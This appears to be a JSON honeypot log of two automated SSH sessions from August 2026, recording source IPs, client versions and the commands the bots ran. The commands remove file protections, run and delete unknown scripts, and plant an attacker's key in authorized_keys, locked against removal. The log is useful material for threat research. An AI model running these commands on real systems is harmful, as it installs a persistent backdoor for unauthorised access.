[
 {
  "id": "46ec8e9e-9279-4a6b-b5ea-d2df6efaa50b",
  "name": "windswept-downy-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "121.184.144.232",
  "src_port": 55395,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 613,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-24T19:36:55.316711+00:00",
  "ended_at": "2026-08-24T19:36:55.506740+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3955
 },
 {
  "id": "a7c2dc75-073e-4f82-8ea8-956c9e4d969f",
  "name": "humble-lucid-albatross",
  "protocol": "ssh",
  "channel_kind": "sftp",
  "src_ip": "130.12.180.51",
  "src_port": 36788,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n",
  "started_at": "2026-08-23T12:55:19.400765+00:00",
  "ended_at": "2026-08-23T12:55:19.733045+00:00",
  "ended_reason": "exec complete",
  "commands": 8,
  "transcript_bytes": 1029
 }
]